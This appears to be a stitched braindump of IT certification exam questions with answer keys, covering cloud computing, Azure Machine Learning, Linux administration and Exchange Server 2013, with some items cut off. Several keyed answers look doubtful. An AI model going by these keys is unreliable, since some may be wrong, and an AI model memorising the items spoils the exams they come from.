B. Offer a single-tenancy software service with segregated virtualized infrastructure.
C. Offer multi-tenancy software as a service with logically segregated infrastructure.
D. Offer a single-tenancy software service with monitored intrusion detection systems.
Correct Answer: B

QUESTION 34
Which of the following is a benefit of implementing cloud computing via the ITIL guideline?
A. Increased costs
B. Larger knowledge base
C. Increased free hard drive space
D. Improved service level
Correct Answer: D

QUESTION 35
Which of the following is included in a compliance audit?
A. Analyzing chargeback agreements
B. Analyzing cloud provider Service Level Agreements (SLAs)
C. Analyzing identity management and access controls
D. Analyzing the provider release calendar
Correct Answer: C

QUESTION 36
Which of the following BEST describes the properly of cloud computing that allows changes in transaction
volume without major changes to the system?
A. Scalability
B. Reliability
C. Integrity
D. Availability
Correct Answer: A

QUESTION 37
A private cloud generally has which of the following characteristics?
A. Services are restricted to members of the same organizationB. Infrastructure is managed by an independent service provider
C. Services are managed by a third-party provider
D. Services are accessed by members outside of the organization
Correct Answer: A

QUESTION 38
Amazon Elastic Cloud Computing (EC2) is a facility for quickly providing virtual servers.
This is an example of:
A. SaaS
B. IaaS
C. PaaS
D. QoS.
Correct Answer: B

QUESTION 39
Which of the following is an example of SaaS?
A. Offshore help desk support
B. Hosted database software and development tools
C. Hosted email software
D. Hosted network hardware
Correct Answer: C

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QUESTION 1
An administrator is tasked to reduce the company’s datacenter power utilization. Currently there are 500
physical servers in the datacenter and 600 virtual servers with five additional available host servers. Which
of the following should the administrator perform?
A. Migrate servers using V2V technology
B. Perform an offline migration of virtual servers
C. Migrate servers using V2P technology
D. Migrate servers using P2V technology
Correct Answer: D

QUESTION 2
An administrator is tasked with installing an application patch on a virtual server. The administrator needs
the ability to restore the server to its previous state quickly if the patch corrupts the system. Which of the
following should the administrator do to accomplish this task?
A. Install the patch on a development server
B. Create a full backup
C. Create a snapshot
D. Install the patch on a test server
Correct Answer: C

QUESTION 3
Which of the following cloud delivery models presents the LEAST vulnerabilities to a company’s existing
network?
A. Hybrid
B. Community
C. Public
D. Private
Correct Answer: D

QUESTION 4
Which of the following uses the business model of shared resources in a cloud environment?
A. Elasticity
B. Self-serve
C. Cloud bursting
D. Multi-tenancy
Correct Answer: D

QUESTION 5
Which of the following is used to locate a specific area of storage in a cloud environment?
A. Object ID
B. SAN
C. Replicas
D. Metadata
Correct Answer: A

QUESTION 6
Which of the following can be done after an administrator deploys a virtual server to ensure that the server
vNIC can communicate to the physical network?
A. Bridge the vNIC
B. Set the vNIC speed to half-duplex
C. Add an addition vNIC
D. Set the vNIC speed to full-duplex
Correct Answer: A

QUESTION 7
After an administrator successfully migrated the last physical application server to a virtual environment,
the help desk reported slow performance. Which of the following should the administrator have done
FIRST before migrating this server?
A. Apply operating system patches to the application server after the migration.
B. Contact the vendor to see if the application is supported in a virtual environment.
C. Take a backup of the application server after the migration.
D. Migrate the application server in a test environment and have users test it.
Correct Answer: B

QUESTION 8
Which of the following would be used to establish a dedicated connection in a hybrid cloud environment?
A. CHAP
B. AES
C. PKI
D. VPN
Correct Answer: D

QUESTION 9
An administrator deployed a DaaS cloud delivery model for a financial institution and implemented a data
encryption technology using AES cryptography. Which of the following should the administrator implement
NEXT?
A. Access controls
B. RC5
C. SSL
D. Zoning
Correct Answer: A

QUESTION 10
An administrator deployed ten application servers from a single VM template. A senior administrator
notices that these ten VMs are not using their resources efficiently. Which of the following is MOST likely
the issue with the new servers?
A. The dynamic resource pool is malfunctioning.
B. The server is missing security patches.
C. The VM servers were not properly configured.
D. There are insufficient resources available on the host.
Correct Answer: C

QUESTION 11
Which of the following storage technologies is file-based?A. WAN
B. DAS
C. SAN
D. NAS
Correct Answer: D

QUESTION 12
Which of the following storage technologies can leverage switches in its implementation?
A. HBA
B. DAS
C. SCSI
D. SAN
Correct Answer: D

QUESTION 13
Which of the following RAID configuration would be used to accomplish disk mirroring with two disks?
A. RAID 0
B. RAID 1
C. RAID 5
D. RAID 10
Correct Answer: B

QUESTION 14
Which of the following only uses Fibre Channel to implement a storage infrastructure?
A. NFS
B. SAN
C. NAS
D. SMB
Correct Answer: B

QUESTION 15
Which of the following solutions primarily relies on private cloud resources but may use public cloud
resources based on capacity requirements?
A. Rapid deployment
B. Cloud bursting
C. Multi-tenancy
D. Pay-as-you-grow
Correct Answer: B

QUESTION 16
An employee is asked to run an instance of a Linux OS while booted up in a Windows OS. Which of the
following types of virtualization would be used to meet this requirement?
A. Type I
B. Type II
C. Bare Metal
D. NativeCorrect Answer: B

QUESTION 17
A small startup wins a contest giving them advertising time during a major sporting event. Which of the
following cloud characteristics should be in place to handle the possible spike in demand?
A. Shared disk space
B. Elasticity
C. Scalability
D. Shared memory
Correct Answer: B

QUESTION 18
Which of the following components should be virtualized and added to cloud infrastructure to ensure virtual
servers are only able to access the volumes assigned to them?
A. NAS
B. DAS
C. LUN
D. HBA
Correct Answer: D

QUESTION 19
Which of the following can be used to protect data integrity when information is being written to a SAN
from multiple clients?
A. Port Zoning
B. SAN Zoning
C. LUN Masking
D. Multipathing
Correct Answer: C

QUESTION 20
Several servers are connected to a SAN using three storage devices and FCoE for transmissions. These
servers only need to access one SAN device. All servers, the SAN, and the HBA are virtualized. Which of
the following should be used to ensure access is controlled appropriately between devices? (Select TWO).
A. LUN Masking
B. Hard Zoning
C. Supernetting
D. Soft Zoning
E. Subnetting
Correct Answer: AD

QUESTION 21
An administrator is called in to determine why a virtual desktop has been unable to connect to the
corporate network. Which of the following should be run to determine if the adapter is enabled? (Select
TWO).
A. ipconfig
B. netstat
C. ping
D. ifconfigE. iwconfig
Correct Answer: AD

QUESTION 22
Which of the following should be installed on VMs to report and take action against potential threats?
A. NIDS
B. HIPS
C. NIPS
D. HIDS
Correct Answer: B

QUESTION 23
Which of the following will explain why only some of the CPU cycles are available to a virtualized server
using two virtualized processors?
A. Extra processing is needed to store encryption keys used for secure transmission between the server
and the network.
B. Additional processing is used to run ports and services not turned off through the process of server
hardening.
C. Some processing is required for operational overhead on the processor and between the physical and
virtualized processors.
D. Significant processing is used to create and maintain the cache on multi-core processors.
Correct Answer: C

QUESTION 24
Which of the following would be used to prove the existence of vulnerabilities on a network?
A. Penetration testing
B. Vulnerability assessment
C. Business impact analysis
D. Risk assessment
Correct Answer: A

QUESTION 25
Which of the following is MOST likely to be retrieved from an individually addressable blob?
A. An object ID
B. A hash
C. A sequence number
D. An image
Correct Answer: D

QUESTION 26
Which of the following is true about a Type II hypervisor?
A. It requires a primary hypervisor to function properly.
B. It implements stronger security controls than a Type I supervisor at the same patch level.
C. It provides slower performance than a Type I hypervisor installed on the same hardware.
D. It provides direct hardware access through the use of specialized drivers.
Correct Answer: C

QUESTION 27
An enterprise hypervisor offers which of the following benefits over a workstation hypervisor?
A. Ability to create templates
B. Ability to provision more than 2 vCPUs
C. Snapshots
D. Live storage migration
Correct Answer: D

QUESTION 28
In order to enhance security on a SAN, which of the following should be configured?
A. ZFS
B. LUN
C. VSAN
D. Zoning
Correct Answer: D

QUESTION 29
An administrator has provisioned a LUN on a SAN and wants to be able to connect a VM to the new
storage using SCSI commands sent across the LAN. Which of the following should be configured on the
VM?
A. Virtual NIC
B. Virtual HBA
C. Virtual SAN
D. LUN masking
Correct Answer: A

QUESTION 30
A company has tasked an administrator with virtualizing the server farm and wants to adhere to the
principle of n+1. The administrator has analyzed the resource consumption of the current server farm and
observes the following:
5 application servers consuming 12 GB RAM each.
4 web servers consuming 2 GB RAM each.
10 terminal servers consuming 6 GB RAM each.
Which of the following is the MINIMUM necessary to meet the requirements of the new host cluster?
A. 1 host with 196GB RAM
B. 2 hosts with 64GB RAM each
C. 3 hosts with 128GB RAM each
D. 4 hosts with 24GB RAM each
Correct Answer: C

QUESTION 31
An administrator has installed a new NAS and is now attempting to optimize the servers for best
performance when communicating with the NAS. Modifying which of the following would MOST likely
enhance throughput?
A. Page file
B. Multipath I/O
C. N_Port settings
D. Jumbo frames
Correct Answer: D

QUESTION 32
Which of the following would provide the ability to perform transparent page sharing?
A. Type I hypervisor
B. Logical arrays
C. Type II hypervisor
D. Journal file system
Correct Answer: A

QUESTION 33
A system administrator has a server that has lost one of its connections to an adjacent server room. The
server can still be accessed remotely through its single network interface; however, it has lost access to
some of its drives. Which of the following is MOST likely correct?
A. The system has exceeded its disk latency threshold and has disabled its NIC.
B. The system has memory issues which are causing the OS to incorrectly define drives.
C. The system is having intermittent network issues.
D. The system is having an HBA failure or disconnection.
Correct Answer: D

QUESTION 34
Which of the following BEST describes a copy of data?
A. Access control
B. Replicas
C. Metadata
D. Extended metadata
Correct Answer: B

QUESTION 35
After receiving a report from the helpdesk that a database application is exhibiting degraded performance,
the storage administrator detected an issue. Which of the following is MOST likely the issue that was
discovered resulting in the degraded performance?
A. NIC failure
B. Power supply failure
C. Disk failure
D. HBA failure
Correct Answer: C

QUESTION 36
Which of the following is used to handle non-sensitive information in a datacenter and can be moved to the
public cloud to free up local resources and meet high demands?
A. Chargeback
B. Cloud bursting
C. Automation
D. Rapid deployment
Correct Answer: B

QUESTION 37
Which of the following is a type of hypervisor that runs on another operating system instead of running
directly on the host’s hardware?
A. Type II
B. Indirect access
C. Direct access
D. Type I
Correct Answer: A

QUESTION 38
One of the administrators of a cloud service provider has been asked to assist one of its newest customers
to deploy a multi-tier application (web, application, and database). The architecture design does not
specify where each service should reside and the customer is asking for a recommendation. Which of the
following should be recommended?
A. Application server should be placed in the DMZ
B. Database server should be placed in the DMZ
C. DMZ are only used for single-tier infrastructure
D. Web server should be placed in the DMZ
Correct Answer: D

QUESTION 39
An IT professional is considering the migration of an on-line store to the cloud due to high variation in
demand. Which of the following cloud characteristics is key?
A. Elasticity
B. Security
C. Scalability
D. Standardization
Correct Answer: A

QUESTION 40
A shipment company is looking to streamline some of their business activity. They are considering the
automation of a number of electronic services. The company handles confidential documents and
confidential data. Which of the following service options would the company choose?
A. Automated business process tools delivered by a public cloud provider
B. Community cloud
C. On-demand/self-service private cloud
D. On-demand/self-service public cloud
Correct Answer: C

QUESTION 41
In the process of streamlining the IT activity, a company has considered the delivery of a number of
services from a cloud. The best identified candidates were the newly acquired CRM and Help- Desk
platforms. Which of the following would be their choice considering the company offers a 24/7 help line/self
service portal to both their internal users and customers?
A. SaaS deployed on Public Cloud
B. PaaS deployed on Private Cloud
C. BPaaS deployed on a Hybrid Cloud
D. IaaS deployed on a Hybrid Cloud
Correct Answer: A

QUESTION 42
Which of the following would be used to mitigate the risk of an unauthorized party authenticating into the
network?
A. Install a software-based firewall
B. Establish a baseline and review logs daily
C. Install antivirus software
D. Disable the administrator account
Correct Answer: D

QUESTION 43
A company that provides Software as a Service wants to prevent the application code from being modified.
Which of the following techniques should be used to accomplish this task?
A. Obfuscation
B. Encryption
C. Auditing
D. Signing
Correct Answer: D

QUESTION 44
An administrator is planning to implement multipathing for iSCSI-connected storage. Which of the following
is required for this configuration?
A. Multiple gateways configured on the subnet
B. At least one HBA on the server
C. Multiple HBAs on the server
D. Multiple IP addresses on the storage device
Correct Answer: D

QUESTION 45
Which of the following is a disk interface type that has the BEST performance?
A. NAS
B. SAN
C. SAS
D. SSD
Correct Answer: C

QUESTION 46
Which of the following can be used to enable additional network interfaces on a router?
A. SNMP
B. WMI
C. Syslog
D. SMTP
Correct Answer: A

QUESTION 47
The Chief Information Officer (CIO) is selecting a hardware network solution that will optimize the WAN
between company locations in North America and Europe. Which of the following can be changed by third-
party hardware?A. IP latency
B. TCP flow control
C. Ethernet bandwidth
D. UDP latency
Correct Answer: B

QUESTION 48
A number of virtual servers suddenly crash, but the physical host is accessible and performing within the
baseline. Which of the following should be done to troubleshoot the issue?
A. Review the dump files on the physical host to determine the reason(s) for the failure.
B. Check the SAN configuration and ensure storage is available.
C. Change from thin to thick-provisioned virtual disks for the virtual machines.
D. Re-enable the physical NIC on the affected hosts.
Correct Answer: B

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QUESTION 1
You plan to use Azure Machine Learning to develop a predictive model. You plan to include an Execute Python Script module. What capability does the module provide?
A. Outputting a file to a network location.
B. Performing interactive debugging of a Python script.
C. Saving the results of a Python script run in a Machine Learning environment to a local file.
D. Visualizing univariate and multivariate summaries by using Python code.
70-774 exam Correct Answer: D

QUESTION 2
Note: This question is part of a series of questions that use the same scenario. For your convenience, the scenario is repeated in each question. Each question presents a different goal and answer choices, but the text of the scenario is exactly the same in each question in this series. A travel agency named Margie’s Travel sells airline tickets to customers in the United States. Margie’s Travel wants you to provide insights and predictions on flight delays. The agency is considering implementing a system that will communicate to its customers as the flight departure nears about possible delays due to weather conditions. The flight data contains the following attributes: The weather data contains the following attributes: AirportID, ReadingDate (YYYY/MM/DD HH), SkyConditionVisibility, WeatherType, WindSpeed, StationPressure, PressureChange, and HourlyPrecip. You have an untrained Azure Machine Learning model that you plan to train to predict flight delays.
You need to assess the variability of the dataset and the reliability of the predictions from the model. Which module should you use?
A. Cross-Validate Model
B. Evaluate Model
C. Tune Model Hyperparameters
D. Train Model
E. Score Model
Correct Answer: A

QUESTION 3
You have data about the following:
You need to predict whether a user will like a particular movie.
Which Matchbox recommender should you use?
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B. Related Items
C. Rating Prediction
D. Related Users
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QUESTION 4
Note: This question is part of a series of questions that use the same scenario. For your convenience, the scenario is repeated in each question. Each question presents a different goal and answer choices, but the text of the scenario is exactly the same in each question in this series. A travel agency named Margie’s Travel sells airline tickets to customers in the United States. Margie’s Travel wants you to provide insights and predictions on flight delays. The agency is considering implementing a system that will communicate to its customers as the flight departure nears about possible delays due to weather conditions. The flight data contains the following attributes: The weather data contains the following attributes: AirportID, ReadingDate (YYYY/MM/DD HH), SkyConditionVisibility, WeatherType, WindSpeed, StationPressure, PressureChange, and HourlyPrecip. You plan to predict flight delays that are 30 minutes or more. You need to build a training model that accurately fits the data. The solution must minimize over fitting and minimize data leakage. Which attribute should you remove?
A. OriginAirportID
B. DepDel
C. DepDel30
D. Carrier
E. DestAirportID
Correct Answer: C

QUESTION 5
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while others might not have a correct solution. After you answer a question in this sections, you will NOT be able to return to it. As a result, these questions will not appear in the review screen. You are working on an Azure Machine Learning experiment. You have the dataset configured as shown in the following table.
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You need to ensure that you can compare the performance of the models and add annotations to the results. Solution: You connect the Score Model modules from each trained model as inputs for the Evaluate Model module, and use the Execute R Script module. Does this meet the goal?
A. Yes
B. No
70-774 pdf Correct Answer: B

QUESTION 6
Note: This question is part of a series of questions that use the same or similar answer choices. An answer choice may be correct for more than one question in the series. Each question is independent of the other questions in this series. Information and details provided in a question apply only to that question. You have a dataset that contains a column named Column1. Column1 is empty. You need to omit Column1 from the dataset. The solution must use a native module. Which module should you use?
A. Execute Python Script
B. Tune Model Hyperparameters
C. Normalize Data
D. Select Columns in Dataset
E. Import Data
F. Edit Metadata
G. Clip Values
H. Clean Missing Data
Correct Answer: D

QUESTION 7
You are building an Azure Machine Learning workflow by using Azure Machine Learning Studio. You create an Azure notebook that supports the Microsoft Cognitive Toolkit. You need to ensure that the stochastic gradient descent (SGD) configuration maximizes the samples per second and supports parallel modeling that is managed by a parameter server. Which SGD algorithm should you use?
A. DataParallelASGD
B. DataParallelSGD
C. ModelAveragingSGD
D. BlockMomentumSGD
70-774 vce Correct Answer: B

QUESTION 8
You have an Azure Machine Learning environment.
You are evaluating whether to use R code or Python.
Which three actions can you perform by using both R code and Python in the Machine Learning environment? Each correct answer presents a complete solution.
NOTE: Each correct selection is worth one point.
A. Preprocess, cleanse, and group data.
B. Score a training model.
C. Create visualizations.
D. Create an untrained model that can be used with the Train Model module.
E. Implement feature ranking.
Correct Answer: ABC

QUESTION 9
Note: This question is part of a series of questions that use the same or similar answer choices. An answer choice may be correct for more than one question in the series. Each question is independent of the other questions in this series. Information and details provided in a question apply only to that question. You need to remove rows that have an empty value in a specific column. The solution must use a native module. Which module should you use?
A. Execute Python Script
B. Tune Model Hyperparameters
C. Normalize Data
D. Select Columns in Dataset
E. Import Data
F. Edit Metadata
G. Clip Values
H. Clean Missing Data
70-774 exam Correct Answer: H

QUESTION 10
You are building an Azure Machine Learning experiment.
You need to transform 47 numeric columns into a set of 10 linearly uncorrelated features.
Which module should you add to the experiment?
A. Principal Component Analysis
B. K-Means Clustering
C. Normalize Data
D. Group Data into Bins
Correct Answer: A

QUESTION 11
You have a dataset that is missing values in a column named Column3. Column3 is correlated to two columns named Column4 and Column5. You need to improve the accuracy of the dataset, while minimizing data loss. What should you do?
A. Replace the missing values in Column3 by using probabilistic Principal Component Analysis (PCA).
B. Remove all of the rows that have the missing values in Column4 and Column5.
C. Replace the missing values in Column3 with a mean value.
D. Remove the rows that have the missing values in Column3.
70-774 dumps Correct Answer: A

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HOTSPOT
You need to use R code in a Transact-SQL statement to merge the repeating values 1 through 6 with Col1 in a table. Which statement should you use? To answer, select the appropriate options in the answer area. NOTE: Each correct selection is worth one point.
Hot Area:
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Following CompTIA LX0-104 Dumps 120QAs Are All New Published By Pass4itsure (1-29)

QUESTION 1
Which of the following is a correct entry in the /etc/hosts file?
A. localhost 127.0.0.1 localhost.localdomain
B. localhost.localdomain localhost 127.0.0.1
C. localhost localhost.localdomain 127.0.0.1
D. 127.0.0.1 localhost.localdomain localhost
E. localhost.localdomain 127.0.0.1 localhost
LX0-104 exam Correct Answer: D

QUESTION 2
Which of the following statements is valid in the file /etc/nsswitch.conf?
A. multi on
B. 192.168.168.4 dns-server
C. hosts: files dns
D. include /etc/nsswitch.d/
Correct Answer: C

QUESTION 3
What is NTP?
A. A more secure protocol replacement for FTP.
B. A protocol for synchronizing time on computers.
C. A routing aid for finding next hops on a network.
D. A simple tunnelling protocol for computers behind firewalls.
LX0-104 dumps Correct Answer: B

QUESTION 4
Which of the following files, when existing, affect the behavior of the Bash shell? (Choose TWO correct answers.)
A. ~/.bashconf
B. ~/.bashrc
C. ~/.bashdefaults
D. ~/.bash_etc
E. ~/.bash_profile
Correct Answer: BE

QUESTION 5
Which of the following statements is true regarding the /etc/shadow file?
A. /etc/shadow may not be readable or writable by user root.
B. Only root is allowed to read and write /etc/shadow.
C. All users have full read and write access to /etc/shadow.
D. All users have full read access to /etc/shadow.
Correct Answer: B

QUESTION 6
Why should a regular user edit his personal crontab by using the command crontab instead of just editing his crontab file manually?
A. Because user specific crontab entries are stored in a common database and must be extracted before editing.
B. Because crontab starts the cron daemon in case it is not running due to no other crontab entries existing.
C. Because user specific crontab entries are stored in a special directory which is maintained by the cron daemon and
not writable for regular users.
D. Because crontab collects information about all users crontabs and recommends similar commands used by other users of the system.
LX0-104 pdf Correct Answer: C

QUESTION 7
Which of the following is true regarding the mail queue of a mail server? (Choose TWO correct answers.)
A. The messages in the queue must be readable by all users as the queue may contain messages for several users.
B. According to the Filesystem Hierarchy Standard (FHS) the queue is located at /var/mail/spool.
C. There is exactly one mail queue per user which holds all new messages for that user before they are moved to other
folders by the user\’s mail client.
D. The queue holds all messages that are processed by the mail server but have not yet been completely delivered.
E. The content of the mail queue can be queried by the command mailq.
Correct Answer: DE

QUESTION 8
Which of the following files holds the configuration for journald when running systemd?
A. /etc/systemd/journalctl.conf
B. /etc/systemd/journald.conf
C. /etc/systemd/systemd-journald.conf
D. /etc/systemd/systemd-journalctl.conf
E. /usr/lib/systemd/journalctl.conf
LX0-104 vce Correct Answer: B

QUESTION 9
Which of the following commands can be used to associate open TCP ports with the processes that opened the ports?
A. ptrace
B. strace
C. debug
D. nessus
E. lsof
Correct Answer: E

QUESTION 10
When the command echo $? outputs 1, which of the following statements are true?
A. It is the process ID of the echo command.
B. It is the process ID of the current shell.
C. It is the exit value of the command executed immediately before echo.
D. It is the exit value of the echo command.
LX0-104 exam Correct Answer: C

QUESTION 11
What entry can be added to the syslog.conf file to have all syslog messages generated by a system displayed on
console 12?
A. *.* /dev/tty12
B. /var/log/messages | /dev/tty12
C. | /dev/tty12
D. syslog tty12
E. mail.* /dev/tty12
Correct Answer: A

QUESTION 12
Which of the following details can be found in an entry of a user specific crontab? (Choose TWO correct answers.)
A. The verbal description of the job.
B. The syslog facility to where the output of the job should be sent.
C. The time when the cron job should run.
D. The command that should be started by the cron job.
E. The name of the user which should run the job.
LX0-104 dumps Correct Answer: CD

QUESTION 13
Which of the following commands are used to manage the environment and shell variables within a shell process? (Choose TWO correct answers.)
A. export
B. init
C. reset
D. set
E. tset
Correct Answer: AD

QUESTION 14
What is true about the ntpdate command?
A. It is the primary management command for the NTP time server.
B. It updates the local system\’s date (i.e. day, month and year) but not the time (i.e. hours, minutes, seconds).
C. It queries one or more NTP time servers and adjusts the system time accordingly.
D. It sends the local system time to one or many remote NTP time servers for redistribution.
E. It can be used by any user to set the user clock independently of the system clock.
LX0-104 pdf Correct Answer: C

QUESTION 15
Which of the following resources can be directly limited for a given user using ulimit? (Choose THREE correct answers.)
A. Maximum seconds of CPU time spent.
B. Maximum number of open file descriptors.
C. Maximum number of processes available.
D. Maximum number of concurrent login sessions.
E. Maximum seconds of login duration per session.
Correct Answer: ABC

QUESTION 16
Each entry in a crontab must end with what character?
A. Tab
B. Space
C. Backslash
D. Newline
LX0-104 vce Correct Answer: D

QUESTION 17
Which of the following are valid IPv4 network masks? (Choose TWO correct answers.)
A. 255.255.0.0
B. 255.255.255.65
C. 255.255.0.255
D. 0.0.0.1
E. 255.255.255.248
Correct Answer: AE

QUESTION 18
Which of the following fields can be found in the /etc/group file? (Choose THREE correct answers.)
A. The list of users that belong to the group.
B. The home directory of the group.
C. The name of the group.
D. The description of the group.
E. The password of the group.
LX0-104 exam Correct Answer: ACE

QUESTION 19
Which commands can be used to change a user\’s account aging information? (Choose THREE correct answers.)
A. usermod
B. passwd
C. chattr
D. chage
E. chsh
Correct Answer: ABD

QUESTION 20
Which configuration file would be edited to change the default options for outbound SSH sessions?
A. /etc/ssh/sshd_config
B. /etc/ssh/ssh
C. /etc/ssh/client
D. /etc/ssh/ssh_config
E. /etc/ssh/ssh_client
LX0-104 dumps Correct Answer: D

QUESTION 21
What is not contained in the locale setting of the operating system?
A. currency symbol
B. language
C. timezone
D. thousands separator
Correct Answer: C

QUESTION 22
Which of the following keywords can be used in the file /etc/resolv.conf? (Choose TWO correct answers.)
A. substitute
B. nameserver
C. search
D. lookup
E. method
LX0-104 pdf Correct Answer: BC

QUESTION 23
With syslog, what is a facility?
A. Facilities are different connection interfaces to syslog. Each facility has its own device in /dev/syslog/.
B. From syslog\’s point of view, each Unix process that issues messages is a facility.
C. Facilities describe the severity of a log message such as emerg or info.
D. When using remote logging, the hostname of the server that generated a message is called facility.
E. Facilities describe categories or groups of messages such as mail or auth.
Correct Answer: E

QUESTION 24
Which of the following IPv4 networks are reserved by IANA for private address assignment and private routing? (Choose THREE correct answers.)
A. 127.0.0.0/8
B. 10.0.0.0/8
C. 169.255.0.0/16
D. 172.16.0.0/12
E. 192.168.0.0/16
LX0-104 vce Correct Answer: BDE

QUESTION 25
On a machine running several X servers, how are the different instances of the X11 server identified?
A. By a fixed UUID that is defined in the X11 configuration file.
B. By a unique IPv6 address from the fe80::/64 subnet.
C. By the name of the user that runs the X server like x11:bob.
D. By a device name like /dev/X11/xservers/1.
E. By a display name like:1.
Correct Answer: E

QUESTION 26
Which of the following tools used for DNS debugging, reports not only the response from the name server but also details about the query?
A. dnsq
B. dig
C. hostname
D. dnslookup
E. zoneinfo
LX0-104 exam Correct Answer: B

QUESTION 27
Which of the following commands gets the GnuPG public key with the id 63B4835B from the keyserver example.com?
A. gpg –keyserver hkp://example.com –recv-key 63B4835B
B. gpg –search-key hkp://[email protected]
C. gpg –keyserver gpg://example.com –get-key 63B4835B
D. gpg –keyserver hkp://example.com –add-key 63B4835B
E. gpg –keyserver gpg://example.com –key 63B4835B
Correct Answer: A

QUESTION 28
What is the main difference between the batch and at commands?
A. The batch command will run multiple times. The at command will only run once.
B. The commands of a batch job run sequentially one after another while the commands in at jobs may run in parallel.
C. The at command reads commands from standard input. The batch command requires a command line argument.
D. The at command e-mails results to the user. The batch command logs results to syslog.
LX0-104 dumps Correct Answer: B

QUESTION 29
How is a display manager started?
A. It is started by a user using the command startx.
B. It is started like any other system service by the init system.
C. It is started by inetd when a remote hosts connects to the X11 port.
D. It is started automatically when a X11 user logs in to the system console.
Correct Answer: B

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QUESTION 1
You plan to deploy 20 Client Access servers that will have Exchange Server 2013 installed. You need to prepare the certificate required for the planned deployment. The solution must ensure that the same certificate can be used on all of the Client Access servers. What should you do first?
A. On one of the Client Access servers, run the New-ExchangeCertificate cmdlet and specify the privatekeyexportable parameter.
B. On all of the Client Access servers, run the Get-ExchangeCertificate cmdlet.
C. On one of the Client Access servers, run the New-ExchangeCertificate cmdlet and specify the binaryencoded parameter.
D. On one of the Client Access servers, start the Certificates console and run the Certificate Import Wizard.
70-342 exam Correct Answer: A

QUESTION 2
Contoso, Ltd., and Fabrikam, Inc., are partner companies. Each company has an Exchange Server 2013 organization in a data center that is connected to the Internet. All of the Exchange servers in both of the organizations have the Client Access server role and the Mailbox role installed. The data centers connect to each other by using a redundant high-speed WAN link. The following mail exchanger (MX) records are configured:
* Contoso.com MX 10 mail.contoso.com
* Fabrikam.com MX 10 mail.fabrikam.com
You need to recommend a solution for inbound mail flow.
The solution must meet the following requirements:
* Users in both companies must receive email from the Internet if either of the Internet links fails.
* Mail from the Internet to contoso.com must be received by mail.contoso.com if the Internet link at the Contoso data center is available.
* Mail from the Internet to fabrikam.com must be received by mail.fabrikam.com if the Internet link at the Fabrikam data center is available.
Which two actions should you recommend? (Each correct answer presents part of the solution. Choose two.)
A. Create the following DNS records:
* Contoso.com MX 20 mail.fabrikam.com
* Fabrikam.com MX 20 mail.contoso.com
B. Create the following DNS records:
* Contoso.com MX 10 mail.fabrikam.com
* Fabrikam.com MX 10 mail.contoso.com
C. For each organization, configure an internal relay domain and a Send connector.
D. For each organization, configure an external relay domain and a Receive connector.
E. Create the following DNS records:
* Contoso.com MX 5 mail.fabrikam.com
* Fabrikam.com MX 5 mail.contoso.com
Correct Answer: AC

QUESTION 3
You have an Exchange Server 2013 organization that contains two servers. The servers are configured as shown in the following table.
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EX1 and EX2 are members of a database availability group (DAG) named DAG1. You have a database named DB1 that replicates to EX1 and EX2. EX1 fails. You discover that DB1 does not mount on EX2. You view the status of the mailbox databases as shown in the following table.
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You need to ensure that the database attempts to mount on EX2 if EX1 fails. What should you change?
A. The AutoDatabaseMountDial setting to Lossless
B. The AutoDatabaseMountDial setting to BestAvailabilty
C. The activation preference of DB1\EX2
D. The activation preference of DB1\EX1
70-342 dumps Correct Answer: B

QUESTION 4
Your company has a data center in New York and a data center in Miami. The company has an Exchange Server 2013 organization that contains a database availability group (DAG). The DAG contains servers in both data centers. The company plans to deploy Outlook Anywhere to all users. You configure the following: All of the Exchange Server 2013 virtual directories in the New York data center use a host name of mail.contoso.com.
All of the Exchange Server 2013 virtual directories in the Miami data center use a host name of miami.mail.contoso.com. In each data center, a certificate from an enterprise certification authority (CA) is configured to contain the following: A certificate principal name of mail.contoso.com Subject alternate names of mail.contoso.com and miami.mail.contoso.com You need to recommend which task must be performed to meet the following requirements: Users always must attempt to connect first to a server in the data center where their mailbox is located. Users must be able to access their mailbox if a single data center fails. What should you recommend?
A. Change the external host name of the Miami data center to mail.contoso.com.
B. Modify the ExternalUrl of the Autodiscover virtual directory of the Client Access servers.
C. Run the Set-OutlookProvider cmdlet.
D. Run the Add-AvailabilityAddressSpace cmdlet.
Correct Answer: B

QUESTION 5
Your company has offices in Tokyo, Bangkok, and Shanghai. All connections to the Internet are routed through an Internet connection in the Tokyo office. All of the offices connect to each other by using a WAN link. The network contains 10 servers that have Exchange Server 2010 installed. The servers are configured as shown in the following table.
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You plan to deploy 10 servers that will have Exchange Server 2013 installed.
The servers will be configured as shown in the following table.
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Each site has an IP-PBX that provides telephony services for the mailboxes in that site by using unsecured SIP over TCP 5070. The IP-PBX uses the same port to connect to multiple SIP peers. You need to recommend which tasks must be performed to ensure that the Unified Messaging (UM) features are available to the mailboxes if a single server fails.
Which three actions should you include in the recommendation? (Each correct answer presents part of the solution. Choose three.)
A. Configure the Exchange Server 2013 Mailbox servers to listen to unsecured SIP on TCP 5070.
B. Configure the Exchange Server 2013 Client Access servers to listen to unsecured SIP on TCP 5070.
C. Install the Client Access server role on the Exchange Server 2013 servers in the Shanghai and Bangkok offices.
D. Configure the Exchange Server 2013 Mailbox servers as additional SIP peers that contain new pilot identifiers.
E. Configure the Exchange Server 2013 Client Access servers as additional SIP peers that contain new pilot identifiers.
70-342 pdf Correct Answer: BCE

QUESTION 6
You have an Exchange Server organization that contains five servers. The servers are configured as shown in the following table.
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You need to create a Lync Server SIP Unified Messaging (UM) dial plan to enable voice integration between Lync Server and Exchange Server. Which three Exchange servers should you associate to the UM dial plans? (Each correct answer presents part of the solution. Choose three.)
A. EX1
B. EX2
C. EX3
D. EX4
E. EX5
Correct Answer: CDE

QUESTION 7
You have an Exchange Server 2013 organization. You successfully migrate the public folders from a previous version of Exchange Server. You discover that one of the public folder mailboxes almost reached its quota size. You need to move some of the public folders in the public folder mailbox to another public folder mailbox. What should you run?
A. Split-PublicFolderMailbox.ps1
B. Set-MailPublicFolder
C. Update-PublicFolderMailbox
D. Set-PublicFolderMailbox
70-342 vce Correct Answer: A

QUESTION 8
You have a hybrid deployment of Exchange Server 2013 and Microsoft Office 365. The network does not have Active Directory Federation Services (AD FS) 2.0 installed. A user named User1 reports that he cannot access his mailbox because his account is locked out.
You verify that the mailbox of User1 is hosted on Office 365. You need to unlock the account of User1. Which cmdlet should you run?
A. Set-MailUser
B. Set-MSolUser
C. Set-Mailbox
D. Set-ADUser
Correct Answer: B

QUESTION 9
